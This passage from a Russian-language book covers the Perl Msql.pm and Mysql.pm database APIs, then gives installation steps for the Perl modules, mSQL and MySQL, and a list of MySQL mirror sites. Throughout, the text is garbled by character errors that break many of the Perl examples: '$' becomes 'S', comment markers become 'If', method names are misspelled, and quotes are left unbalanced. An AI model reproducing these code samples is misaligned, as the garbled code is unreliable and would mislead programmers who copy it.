    Msql: : shutdown посылает на сервер mSQL команду остановки. Команда посылается от имени пользователя, запустившего программу, поэтому для использования в CGI-программе последняя должна запускаться пользователем, имеющим право остановки сервера баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.


    Пример

    use Msql;

    my $db = Msql->connect;

    # Пора закрывать базу данных...

    my $result = $db->shutdown;

    die "Команда не выполнена!" if $result — -1;

    print "Сервер остановлен.\n";

    Msql::Statement::as_string

    $formatted_table = $statement_handle->as_string;

    Msq1: :Statement: :as_string возвращает данные, содержащиеся в описателе команды, в виде аккуратно отформатированной таблицы ASCII. Таблица аналогична тем, которые выводит монитор msql. Программа pmsql, поставляемая с модулем Msql.pm, использует эту функцию для создания своих таблиц.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->query($query);

    print "Моя таблица:\n", $mytable_output->as_string;

    # Выводится вся таблица в гораздо более приемлемом виде,

    # чем в примере Msql:[Statement:ifetchhash.

    Msql::Statement::dataseek

    $statement_handle->dataseek($row_number);

    Msql: :Statement: :dataseek принимает в качестве аргумента номер строки. Функция переустанавливает данные, так что следующий вызов Msql: :Statement: :fetchrow или Msql: Statement: :fetchhash возвращает данные указанной строки. Если указанный номер строки выходит за границы таблицы, указатель устанавливается на конец таблицы и при следующем вызове будет возвращено неопределенное значение undef. Первая строка таблицы имеет номер 0.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->query($query);

    my @names = $myothertable_output->fetchcol(0);

    my @dates = $myothertable_output->fetchcol(1);

    # Теперь указатель установлен в конце таблицы.

    $myothertable_output->dataseek(0);

    # Теперь указатель установлен на начало таблицы,

    print "Это первая строка данных: ", $myothertable_output->fetchrow, "\n".

    Msql::Statement::fetchcol


    @column_of_data = $statement_handle->fetchcol($column_number);

    Msql: :Statement: :fetched принимает в качестве аргумента номер колонки и возвращает массив всех значений, находящихся в этой колонке. Каждый вызов возвращает значения в колонке в одинаковом порядке, поэтому значения с одинаковым номером элемента находятся в одной строке данных. Первая выдаваемая колонка имеет номер 0. Для выполнения этого вызова модуль должен считать всю таблицу, поэтому, если вы хотите продолжить просмотр таблицы после вызова этой функции, переустановите данные с помощью Msql::Statement: :dataseek . Если задан недопустимый номер колонки, возвращается неопределенное значение undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

    my $myothertable_output = $db->query($query);

    my @names = $myothertable_output->fetchcor(0);

    # @names содержит теперь все имена.

    my @dates = $myothertable_output->fetchcol(1);

    # ©dates содержит теперь все даты.

    for (0..$#names) {

    print "Row $_: $names[$_], $dates[$_]\n"; }

    Msql::Statement::fetchhash

    %hash ='$statement_handle->fetchhash;

    Msql::Statement: :fetchhash возвращает текущую строку описателя команды как ассоциативный массив (или хэш). Ключами хэша служат имена полей, а значениями - значения данных текущей строки. Каждое последующее обращение к функции возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->query($query);

    my %first_data_row = $mytable_output->fetchhash;

    my @fields = keys %first_data_row;

    # @fields содержит теперь имена всех полей. В результате, фактически нет

    # нужды использовать Msql::listfields, поскольку ее данные и многие

    If другие можно получить через описатель команды, возвращаемый


    # Msql::query.

    my (%data_row);

    print ]oin("", ©fields), "\n';

    print "-"x70;

    print join("", values(%first_data_row);

    print join("", values(%data_row)) while %data_row = $mytable_output-

    >fetchhash;

    # Таким образом распечатывается вся таблица, хотя и в невыравненном

    # формате.

    Msql::Statement::fetchrow

    @row_of_data = $statement_handle->fetch row;

    Msql:: Statement: : fetch row возвращает очередную строку данных из описателя команды, созданного Msql:.-query. Каждое последующее обращение к Msql: Statement: :fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Элементы в результирующем массиве упорядочены в соответствии с исходным запросом. Если запрос имел вид SELECT*FROM ... , то элементы упорядочиваются в соответствии с последовательностью определения полей в таблице.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query1 = "SELECT * FROM mytable";

    my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE

    'Bob%'";

    my $mytable_output = $db->query($query1);

    my $myothertable_output = $db->query($query2);

    my $i = 0;

    # Чтение строк данных будет продолжаться,

    # пока их больше не останется.

    while (my(@mytable_rows)=$mytable_output->fetcnrow) {

    print "Строка ",$i++,": ".join(', ',@mytable_rows)."\n";

    # Если неизвестна структура таблицы 'mytable',

    # нельзя узнать число элементов в @mytable_rows или их порядок.

    }

    my (Sname, $date);

    # Это первая строка данных в $myotrertable_output.

    ($name, $datc) = $myothertaPle_output->fetchrow;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrbw;

    # и т.д....

    Msql::Statement::isnotnull

    @not_null = $statement_handle->isnotnull;

    Msql:: Statement: :isnotnull возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, была ли она определена как 'NOT NULL'. При вызове в скалярном контексте функция возвращает ссылку на массив.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query("select * from mydata");

    my @names = $output->name;

    my @not_null = $output->isnotnull;

    for (0..$#not_null) {

    print "$names[$_]не может быть null\n"

    if $not_null[$_]; }

    Msql::Statement::isnum

    @numbers = $statement_handle->isnum;

    Msql: : Statement: : isnum возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она числовой. При вызове в скалярном контексте функция возвращает ссылку на массив. "Числовая" означает тип, например, 'INT' или 'REAL', но не число в поле типа 'CHAR' или 'TEXT'.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $dD->query("select name, date from myothertable");

    print "Name является числом"

    if $output->isnum->[0];

    print "Date является числом"

    if $output->isnum->[1];

    Msql::Statement::isprikey

    @primary_key = $statement_handle->isprikey;

    Msq1::Statement: :isprikey возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она первичным ключом. При вызове в скалярном контексте функция возвращает ссылку на массив. Эта функция всегда возвращает список, состоящий из нулей, при соединении с сервером mSQL 2, поскольку в mSQL 2 не используются первичные ключи. Однако она может быть полезна с серверами mSQL 1, поскольку в них реализованы первичные ключи.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output-= $db->query("select * from mytable");

    my @prikeys = $output->isprikey;

    my $number_of_prikeys = scalar @prikeys;

    print "В этом описателе команды $number_of_prikeys первичных ключей. ",

    "В запросе участвует не меньшее число различных таблиц, поскольку ".

    "в каждой таблице может быть только один первичный ключ\n";


    Msql::Statement::length

    @lengths = $statement_handle->length;

    Msql::Statement:: length возвращает список максимально возможных длин для колонок, содержащихся в описателе команды. Это значения, определенные как максимальные при создании таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select- * from mytable");

    my @types = $output->type;

    my @lengths = $output->length;

    for (0..$#types) {

    if ($types[$_] == &Msql: :CHAR_TYPE and $lengths[$_] > 1000000) {

    print "В этой таблице у вас есть одно о-очень большое поле CHAR!\";

    } }

    Msql::Statement::listindices

    Pindices = $statement_handle->listindices;

    Msql: : Statement: :listindices возвращает индексы, связанные с какими-либо полями в описателе команды. Поскольку функция непосредственно ищет имена полей, она полезна только для имен, возвращаемых Msql: : listf ields . Если индексы не обнаружены, возвращается неопределенное значение undef. Эту функцию можно использовать только с серверами mSQL 2.0 или последующих версий.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $mytable_fields = $db->listfields('mytable');

    my ©indices = $mytable_fields->listindices;

    print "B 'mytable' есть следующие индексы: " . join(", ",@indices) .

    "\n;

    Msql::Statement::maxlength

    @max_lengths = $statement_handle->maxlength; '

    Msql::Statement: :maxlength возвращает список фактических максимальных размеров всех полей таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив. Поскольку сервер mSQL прямо не сообщает эти данные, она реализована путем чтения всей таблицы и поиска максимального значения для каждого поля. Поэтому в mSQL эта функция может потребовать много ресурсов, если запрос возвращает большой объем данных.

    Пример

    use Msql;

    $db = Msql->connect;


    $db->selectdb('mydata');

    my Soutput = $db->query('select name, date from myothertable');

    print " Самое длинное имя имеет длину " . $ouput->maxlength->[0] . " символов,\n";

    Msql::Statement::name

    @column_names = $statement_handle->name;

    Msql:: Statement:: name возвращает имена колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Как и для Msql::Statement::table , скалярное значение этого списка (в противоположность значению функции при вызове в скалярном контексте) совпадает со значением Msql::Statement::numfields

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select * from mytable");

    my @column_names = $output->names;

    # Теперь @column_names - список колонок 'mytable'

    Msql::Statement::numfields

    $number_of_fields = $statement_handle->numfields;

    Msql:: Statement: : numf ields возвращает число полей в каждой строке результирующих данных, содержащихся в описателе команды. Во всех выходных данных есть хотя бы одно поле, поэтому данная функция возвращает положительное число для всех определенных описателей команд.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select * from mytable");

    my $numfields = $output->numfields;

    my $numrows = $output->numrows;

    print "В каждой строке таблицы 'mytable' $numfields полей \n";

    print "Всего имеется Snumrows строк данных. Поэтому 'mytable'\n";

    print "содержит" . ($numfields*$numrows) . " элементов данных.\n";

    Msql::Statement::numrows

    $number_of_rows = $statement_handle->numrows;

    Msql: : Statement: : numrows возвращает число строк, содержащихся в описателе команды. Для описателя, который не может содержать строк, например, возвращаемого Msql: :listfields , функция возвращает строку 'N/A.' Если описатель может содержать строки, но их нет - например, он возвращен SELECT, для которого не найдено соответствия, -функция возвращает 0.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query("select * from mytable");

    my $numrows = '$output->numrows;

    print "B 'mytable' содержится $numrows строк данных\n";

    Msql::Statement::table

    @tables = $statement_handle->table;

    Msql: :Statement: : table возвращает список таблиц, связанных с колонками данных, содержащимися в описателе команды. (См. выше в Msql: : Statement: : isnum пример использования ссылки на массив.) Даже если запрос использовал только одну таблицу, для каждой колонки есть один элемент. Побочным эффектом является то, что скалярное значение массива, возвращаемого $statement_handle->table , совпадает со значением $statement_handle->numfields .

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query('select myothertable. name, myothertable.date,

    mythirdtable. name from myothertable, mythirdtable where myothertable. name

    = mythirdtable. name');

    my @tables = $output->table;

    # @tables содержит теперь ('myothertable', 'myothertable', 'mythirdtable')

    Msql::Statement::type

    @column_types = $statement_handle->type;

    Msql: : Statement: : type возвращает типы колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Сам по себе этот массив не очень интересен для большинства пользователей (в текущей реализации это массив целых чисел), однако эти значения можно сравнивать со встроенными значениями, определенными в Msql.pm, такими как &Msql: : CHAR_TYPE и &Msql: : INT_TYPE. Один из путей использования этих данных - создание массива с читаемыми названиями, соответствующими предустановленным типам. Этот метод был продемонстрирован в главе 10 "Perl". Другой способ показан ниже.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select name, date from myothertable");


    my ($name_type, $date_type) = $output->type;

    for ($name_type) {

    $_ eq &Msql: :CHAR_TYPE and do {

    print ''name является CHAR';

    last;

    } $_ eq &Msql::INT_TYPE and do {

    print 'name является INT'; last; } # и т.д....

    }

    # повторить для $date_type

    Msql::sock

    $sock = $db->sock;

    Msql:: sock возвращает скаляр, содержащий номер сокета, использованного для подключения к серверу mSQL. Обычно это полезно только при действительно изощренном программировании.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $sock = $db->sock;

    print "Я подключен к сокету $sock.\n";

    Msql::*_TYPE

    Msql.pm предоставляет следующие функции, соответствующие типам данных mSQL:

    &Msql::CHAR_TYPE &Msql::INT_TYPE &Msql::REAL_TYPE &Msql::IDENT_TYPE

    &Msql::TEXT_TYPE &Msql::IDX_TYPE &Msql::NULL_TYPE &Msql::DATE_TYPE

    &Msql::UINT_TYPE &Msql::MONEY_TYPE &Msql::TIME_TYPE &Msql::SYSVAR_TYPE

    Пример

    use Msql;

    %types = (

    'CHAR' => &Msql::GHAR_TYPE, 'INT' => &Msql::INT_TYPE, 'REAL' => &Msql::REAL_TYPE, 'SYSVAR' => &Msql::SYSVAR_TYPE, 'TIME' => &Msql::TIME_TYPE, 'MONEY' => &Msql::MONEY_TYPE, 'UINT' => &Msql::UINT_TYPE, 'TEXT' => &Msql::TEXT_TYPE, 'NULL' => &Msql::NULL_TYPE, 'DATE' => &Msql::DATE_TYPE, 'IDENT' => &Msql::IDENT_TYPE, 'IDX' => &Msql::IDX_TYPE,

    );

    # $types{'CHAR'} является теперь легкодоступным псевдонимом для

    # &Msql::CHAR_TYPE. Наличие значений в %types дает доступ ко всем

    # удобным функциям работы с хешами, такими как keys() и values().

    $Msql::VERSION

    В переменной $Msql:: VERSION содержится номер версии модуля Msql.pm.

    Пример

    use Msql;

    print "Вы используете Msql.pm версии $Msql::VERSION.\n";



    Mysql.pm API

    Mysql.pm API идентичен Msql API (с заменой всюду "Msql" на "Mysql"), за исключением следующих отличий:

    Mysql::connect

    $db = Mysql->connect($host, Sdatabase, $user, $password);

    Помимо трех методов соединения, совпадающих с Msql: :connect , в Mysql:: connect есть четвертый метод, требующий передачи пароля в качестве дополнительного аргумента. Первый аргумент - имя узла или IP-адрес сервера MySQL. Если в качестве этого аргумента передается undef, модуль соединяется с сонетом Unix на локальном узле. Второй аргумент является именем первоначально выбираемой базы данных. Его всегда можно впоследствии изменить с помощью Mysql: :selectdb . Можно передать undef в качестве второго аргумента, чтобы не выбирать исходной базы данных. Третий аргумент является именем пользователя для соединения с базой данных. Для успешного соединения имя пользователя должно присутствовать в таблицах доступа MySQL. Последний аргумент является паролем пользователя.

    Пример

    use Mysql;

    $db = Mysql->connect(undef,'mydata','webuser1, 'super_secret_squirrel');

    # Теперь описатель базы данных соединен с локальным сервером MySQL и
    # использует базу данных 'mydata1.

    # Использовано имя пользователя 'webuser' для

    # соединения с паролем 'super_secret_squirrel'.

    Mysql::errno

    $error_number = $db->errno;

    Mysql: :errno возвращает код последней ошибки. Код соответствует сообщению об ошибке, возвращаемому Msql: : errmsg .

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata','webuser', 'super_secret_squirrel');

    # В этом запросе есть синтаксическая ошибка...
    my $output = $db->query( 'SELECT * from mydata');

    if (not $output) {

    print "Ошибка " . $output->errno . ": " . $output->errfnsg . "\n"; }

    Mysql::FIELD_TYPE_*

    Помимо функций типов данных Mysql: :TYPE_ *, идентичных функциям Msql::TYPE *, Mysql.pm предоставляет следующие дополнительные функции типов данных:

    &Mysql::FIELD_TYPE_BLOB &Mysql::FIELD_TYPE_CHAR &Mysql::FIELD_TYPE_DECIMAL &Mysql::FIELD_TYPE_DATE &Mysql::FIELD_TYPE_DATETIME &Mysql::FIELD_TYPEJ)OUBLE &Mysql::FIELD_TYPE_FLOAT &Mysql: : FIELD_TYPE_INT24 &Mysql::FIELD_TYPE_LONGLONG &Mysql::FIELD_TYPE_LONG_BLOB &Mysql::FIELD_TYPE_LONG &Mysql::FIELD_TYPE_MEDIUM_BLOB &Mysql::FIELD_TYPE_NULL &Mysql::FIELD_TYPE_SHORT &Mysql::FIELD_TYPE_STRING &Mysql::FIELD_TYPE_TIME &Mysql::FIELD_TYPE_TIMESTAMP &Mysql::FIELD_TYPE_TINY_BLOB &Mysql::FIELD_TYPE_VAR_STRING


    Пример

    use Mysql;

    my $db = Mysql->connect(undef, 'mydata');

    my Soutput = $db->query("SELECT name, data from myothertable");

    if ($output->type->[0] = &Mysql::FIELD_TYPE_STRING) {

    print "Name является STRING.\n"; }

    Mysql::Statement::affectedrows

    $number_of_affected_rows = $statement^handle->affectedrows;

    Msql: :Statement: : affectedrows возвращает число строк, обработанных запросом. Эта функция полезна, поскольку Mysql.pm возвращает описатель команды для запросов, не являющихся командами SELECT.

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata');

    my $output = $db->query("UPDATE mytable set name='bob' where

    name='joe'");

    print $output->affectedrows . " строк обновлено.\n";

    Mysql::Statement::info

    $info = $sth->info;

    Mysql: : Statement:: info возвращает дополнительные результаты некоторых запросов, для которых в Mysql.pm нет специальных функций, таких как ALTER TABLE и LOAD DATA INFILE . Например, при использовании LOAD DATA INFILE функция Mysql: : Statement:: info возвращает число вставленных записей, число удаленных, число пропущенных и число элементов, которые невозможно синтаксически разобрать.

    Пример

    use Mysql;

    $db = Mysql->connect(undef,'mydata');

    my $output = $db->query("LOAD DATA INFILE 'mydata.dat' INTO TABLE mytable");

    my $info = $output->info($output);

    print "Результат работы LOAD DATA: $info\n";

    Mysql::Statement::insertid

    $new_id = $statement_handle->insertid;

    Функция Mysql::Statement::insertid возвращает текущее значение поля auto_increment (если такое имеется) в таблице. Если в таблице нет поля auto_increment , она возвращает неопределенное значение undef.

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata');

    my $output = $db->query(

    "INSERT into mytable (id, name, date) VALUES ('','bob', 'today')";

    my $new_id = $output->insertid;

    print "Bob был введен с ID, равным $new_id.\n";

    Установка

    Для использования интерфейсов mSQL и MySQL к модулям DataBase Dependent/DataBase Independent (DBI/DBD) или MsqlPerl и MysqlPerl необходимо иметь следующие компоненты:

    Perl 5

    В вашей системе должны быть установлены работающие экземпляры Perl 5. Ко времени написания этой книги последний релиз Perl имел номер 5.005_02. Следует пользоваться по меньшей мере Perl 5.004, поскольку в более ранних версиях были ошибки, связанные с защитой. Более подробные сведения о Perl, включая адреса для загрузки, можно найти по адресу: http://www.perl.com.

    DBI

    Независимую от базы данных часть модуля DBI/DBD можно загрузить из Comprehensive Perl Archive Network (CPAN). На момент написания книги последней версией был DBI-0.90. Он находится на http://www.perl.com/CPAN/authors/id/TIMB/DBI/DBI-l.06.tar.gz.

    Data::ShowTable

    Модуль Data::ShowTable упрощает отображение больших объемов данных. Это требуется для модулей Msql-Mysql. Последняя версия - Data-ShowTable-З.З, ее можно найти по адресу: http://www.perl.com/CPAN/authors/id/AKSTE/Data-ShowTable-3.3.tar.gz.

    mSQL и /или MySQL

    В главе 3 "Установка" подробно рассказано о том, как получить и установить серверы баз данных mSQL и MySQL.

    Компилятор С и сопутствующие средства

    Для модулей MsqlPerl и MysqlPerl необходим ANSI-совместимый компилятор С, а также обычные сопутствующие средства, такие как make, Id и т. д. Вам должно хватить тех средств, с помощью которых вы собрали Perl. Если у вас нет этих инструментов, компилятор GNU С и все необходимые поддерживающие программы можно бесплатно получить на ftp://ftp.gnu.org/pub/gnu/.

    В настоящее время модули Msql-Mysql поддерживает Йохен Видман (Jochen Wiedmann), чье ID в CPAN выглядит как JWIED. Поэтому текущие модули Msql-Mysql всегда можно найти на http://www.perl.com/ authors/id/ JWIED. На момент написания книги текущей версией была Msql-Mysql-modules-1.2017.tar.gz.

    После загрузки пакета разархивируйте его:

    tar xvzf Msql-Mysql-modules-1.2017.tar.gz
    cd Msql-Mysql-modules-1.2017


    В каталоге дистрибутива есть файл INSTALL, содержащий несколько советов по установке. Сначала нужно выполнить файл Makefile.PL:

    perl Makefile.PL

    Эта команда сначала спрашивает, желаете ли вы установить модули для mSQL, MySQL или те и другие. Можно установить модули для любого установленного вами сервера баз данных.

    После проверки системы программа запрашивает местоположение установки mSQL. Это каталог, содержащий подкаталоги lib и include, в которых расположены библиотеки и включаемые файлы mSQL. По умолчанию этим каталогом является /usr/local /Hughes, но обязательно проверьте это, поскольку во многих системах используется /usr/local или даже /usr/local/Minerva.

    Затем сценарий установки запрашивает путь к MySQL. Как и в случае mSQL, это каталог, содержащий надлежащие подкаталоги lib и include, по умолчанию - /usr/local. Это расположение верно для большинства установок, но следует обязательно проверить, не используются ли другие каталоги.

    После установки сценарий создает соответствующие make-файлы и завершается. Затем нужно запустить make и скомпилировать файлы.

    make

    Если вы правильно установили Perl, mSQL и/или MySQL, то команда make должна пройти без ошибок. После завершения ее работы будут созданы все модули, и единственное, что останется - это протестировать и установить их.

    make test

    Во время выполнения по экрану пробегает ряд отладочных имен, за каждым из которых должно следовать . . . ok. И наконец, нужно установить модули.

    make install

    У вас должно быть разрешение записи в каталог установки Perl. Кроме того, необходимо иметь разрешение на запись в системный каталог для программ (обычно /usr/local/bin или /usr/bin), чтобы установить поставляемые с модулем вспомогательные программы pmsql, pmysql и dbimon.



    Установка

    Подобно большинству сервисов, СУБД MySQL и mSQL работают как фоновые процессы, в Unix-системах называемые также демонами. В данной главе обсуждается процесс их распаковки и установки.



    MSQL

    Первым шагом в установке mSQL является получение дистрибутива исходного кода. На момент написания этой книги самые новые версии mSQL распределялись только с веб-страницы Hughes Technology на http://www.hughes.com.avl. Автор mSQL предпочел официально не распространять двоичные дистрибутивы mSQL. Если на вашей машине нет компилятора С, то вам следует либо установить его, либо скомпилировать на такой же машине с той же операционной системой и перенести результат.

    Полученный дистрибутив с исходным кодом mSQL распакуйте командой:

    gunzip - с msql-2.0.4.1.tar.gz | tar xvf -

    В результате в рабочем каталоге будет образован каталог с именем msq 1-2.0.4.1. Перейдите в него.

    Создайте на своей машине инсталляционный каталог командой:

    make target

    Теперь перейдите в каталог targets. В нем должен быть новый каталог с названием вашей операционной системы и платформы, например, Solaris-2.6-Spare или Linux-2.0. 33-1386. Перейдите в этот каталог.

    В рабочем каталоге запустите сценарий setup. Лучше запустите его как . /setup, чтобы командный процессор не запустил программу setup из какого-нибудь другого каталога. Сценарий сконфигурирует исходный код для компиляции. После выполнения сценария рассмотрите файл site.mm и измените необходимые параметры для настройки своей локальной установки. В частности, вы, возможно, захотите изменить переменную INST_DIR, задающую каталог, в который устанавливается mSQL. Если конфигурация вас устраивает, для компиляции mSQL выполните команду:

    make all

    После компиляции установите mSQL в выбранный вами каталог с помощью команды:

    make install

    Вся последовательность шагов при инсталляции выглядит следующим образом:

    gzip - с msql-x.x.x.tar.gz tar xvf -

    cd msql-x.x.x

    make target

    cd targets/myOS-mymachine

    ./setup

    make all

    make install

    MySQL

    Прежде чем начать установку MySQL, нужно ответить на пару вопросов.

  • Собираетесь ли вы устанавливать MySQL как пользователь root или какой-либо другой пользователь?

    MySQL не требует для своей работы прав суперпользователя, но при установке с правами root вы даете каждому пользователю вашей системы доступ к одному экземпляру программы. Если у вас нет прав суперпользователя, установку придется произвести в свой исходный каталог. Однако, даже если вы установите MySQL как суперпользователь, лучше запускать под другим логином. Благодаря этому данные вашей базы данных можно защитить от других пользователей, установив для конкретных пользователей MySQL права только чтения файлов данных. Кроме того, при компрометации защиты базы данных нарушитель получает доступ только к учетной записи отдельного пользователя MySQL, не имеющей привилегий за пределами базы данных.

  • Будете ли вы устанавливать MySQL из исходного кода или откомпилированных модулей?

    Имеется много откомпилированных двоичных пакетов MySQL. Это экономит время, но уменьшает возможности настройки при установке. Для установки из исходного кода вам потребуется компилятор С и другие инструменты разработчика. Если они у вас имеются, то преимущества установки из исходного кода обычно перевешивают мелкие неудобства.

    MySQLЭти два вопроса взаимосвязаны. При установке из двоичного пакета вы должны быть зарегистрированы как root. Установка из двоичного пакета использует некоторые данные о путях, зашитые в двоичные файлы, что вынуждает вас регистрироваться при установке как тот, кто создал прекомпилирован-ный пакет. MySQL позволяет задать параметры командной строки, переопределяющие эти пути, но обычно меньше хлопот доставляет установка из исходного кода.

    В любом случае сначала необходимо получить дистрибутив.

    Таблица 3-1. Список серверов Интернета, с которых можно взять экземпляр исходного кода или двоичных файлов MySQL



    Азия


    Корея


    KREONet


    http://linux.kreonet.re.hr/mysql/


    Япония


    Soft Agency


    http://www.softagency.co.jp/MySQL/





    Nagoya Syouka University


    http://mirror.nucba.ac.jp/mirror/mysql/





    Nagoya Syouka University


    ftp://mirror.nucba.ac.jp/mirror/ mysql/





    HappySize


    http://www.happysize.co.jp/mysql/





    HappySize


    ftp://ftp.happysize.co.jp/pub/mysql/


    Сингапур


    HJC


    http://mysql.hjc.edu.sg/





    HJC


    ftp://ftp.hjc.edu.sg/mysql/


    Тайвань


    NCTU


    http://mysql.taconet.com.tw/





    TTN


    http://mysql.ttn.net


    Австралия


    Австралия


    AARNet/Queensland


    http://mirror.aarnet.edu.au/mysql/





    AARNet/Queensland


    ftp://mirror.aarnet.edu.au/pub/ mysql/





    Blue Planet/Melbourne


    http://mysql.bluep.com





    Blue Planet/Melbourne


    ftp://mysql.bluep.com/pub/mirrorl/ mysql/





    Tas


    http://ftp.tas.gov.au/mysql/





    Tas


    ftp://ftp.tas.gov.au/pub/mysql/


    Африка


    Южная Африка


    The Internet Solution/ Johannesburg


    ftp://ftp.is.co.za/linux/mysql/

    <


    Европа



    Австрия



    University of Technology/Vienna



    http://gd.tuwien.ac.at/db/mysql/







    University of Technology/Vienna



    ftp://gd.tuwien.ac.at/db/mysql/



    Болгария



    Naturella



    ftp://ftp.ntrl.net/pub/mirror/mysql/



    Дания



    Ake



    http://mysql.ake.dk







    SunSITE



    http://sunsite.auc.dk/mysql/







    SunSITE



    ftp://sunsite.auc.dk/pub/databases/ mysql/



    Эстония



    Tradenet



    http://mysql.tradenet.ee



    Финляндия



    EUnet



    http://mysql.eunet.fi



    Франция



    Minet



    http://www.minet.net/devel/mysql/



    Германия



    Bonn University, Bonn



    http://www.wipol.uni-bonn.de/ MySQL/







    Bonn University, Bonn



    http://www.wipol.uni-bonn.de/ MySQL/







    Wolfenbuettel



    http://www.fh-wolfenbuettel.de/ftp/ pub/database/ mysql/







    Wolfenbuettel



    ftp://ftp.fh-wolfenbuettel.de/pub/ database/ mysql/







    Staufen



    http://mysql.staufen.de



    Греция



    NTUA, Athens



    http://www.ntua.gr/mysql/







    NTUA, Athens



    ftp://ftp.ntua.gr/pub/databases/



    Венгрия



    Xenia



    http://xenia.sote.hu/ftp/mirrors/







    Xenia



    ftp://xenia.sote.hu/pub/mirrors/



    Израиль



    Netvision



    http://mysql.netvision.net.il



    Италия



    Teta Srl



    http://www.teta.it/mysql/



    Польша



    Sunsite



    http://sunsite.icm.edu.pl/mysql/







    Sunsite



    ftp://sunsite.icm.edu.pl/pub/unix/



    Португалия



    lerianet



    http://mysql.leirianet.pt







    lerianet



    ftp://ftp.leirianet.pt/pub/mysql/



    Россия



    DirectNet



    http://mysql.directnet.ru







    IZHCOM



    http://mysql.udm.net







    IZHCOM



    http://mysql.udm.net



    Румыния



    Bucharest



    http://www.lbi.ro/MySQL/







    Bucharest



    ftp://ftp.lbi.ro/mirrors/ftp.tcx.se







    Timisoara



    http://www.dnttm.ro/mysql/







    Timisoara



    ftp://ftp.dnttm.ro/pub/mysql



    Швеция



    Sunet



    http://ftp.sunet.se/pub/unix/ databases/ relational/ my sql/







    Sunet



    ftp://ftp.dnttm.ro/pub/mysql







    тcх



    http://www.tcx.se







    тcх



    ftp://www.tcx.se







    тcх



    http://www.mysql.com (Primary Site)







    тcх



    ftp://ftp.mysql.com (Primary Site)



    Англия



    Omnipotent/UK



    http://mysql.omnipotent.net







    Omnipotent/UK



    ftp://mysql.omnipotent.net







    PHG/UK



    http://ftp.plig.org/pub/mysql/







    PliG/UK



    ftp://ftp.plig.org/pub/mysql/



    Украина



    РАСО



    http://mysql.paco.net.ua







    РАСО



    ftp://mysql.paco.net.ua



    Северная Америка



    Канада



    Tryc



    http://web.tryc.on.ca/mysql/



    США



    Circle Net/North Carolina



    http://www.mysql.net







    DIGEX



    ftp://ftp.digex.net/pub/database/







    Gina net/Florida



    http://www.gina.net/mysql/







    Hurricane Electric/San Jose



    http://mysql.he.net







    Netcasting/West Coast



    ftp://ftp.netcasting.net/pub/mysql/







    Phoenix



    http://phoenix.acs.ttu.edu/mysql/







    pingzero/Los Angeles



    http://mysql.pingzero.net



    Южная Америка



    Чили



    Amerikanclaris



    http://www.labs.amerikanclaris.cl/







    vision



    http://mysql.vision.cl

    <


    Подключившись к серверу FTP, войдите в каталог Downloads. В нем будут перечислены несколько версий MySQL, например:

    MySQL-3.21

    MySQL-3.22

    MySQL-3.23

    Самый высокий номер версии соответствует нестабильному выпуску, в котором производится добавление и проверка новых характеристик. Отдельные подверсии его будут иметь пометки 'alpha', 'beta' или 'gamma'. Предыдущая версия является текущей стабильной версией. Эта версия тщательно проверена и считается свободной от ошибок. Доступны также более ранние архивные версии.

    Если разрабатываемая версия находится на этапе 'alpha', вам определенно следует придерживаться стабильной версии, если только вы не любитель острых ощущений. В случае когда разрабатываемая версия находится на стадии 'beta', возможно, следует выбрать предыдущую версию, если только в новой версии нет крайне необходимых для вас характеристик или устойчивость системы, на которой вы работаете, не очень критична. С другой стороны, версией 'gamma' можно уверенно пользоваться при отсутствии в ней известных конфликтов с вашей системой.

    Вы можете точно проверить, на какой стадии находится конкретная версия MySQL, перейдя в ее каталог. Например, каталог MySQL-3.22 может выглядеть следующим образом:

    mysql-3.22.19-beta-sgi-irix6,4-mip.tgz

    mysql-3.22.21a-beta-ibm-aix4.2.1.0-rs6000.tgz

    mysql-3.22.31-pc-linux-gnu-i586.tgz

    mysql-3.22.33-sun-solaris2.6-sparc.tgz

    mysql-3.22.33.tar.gz

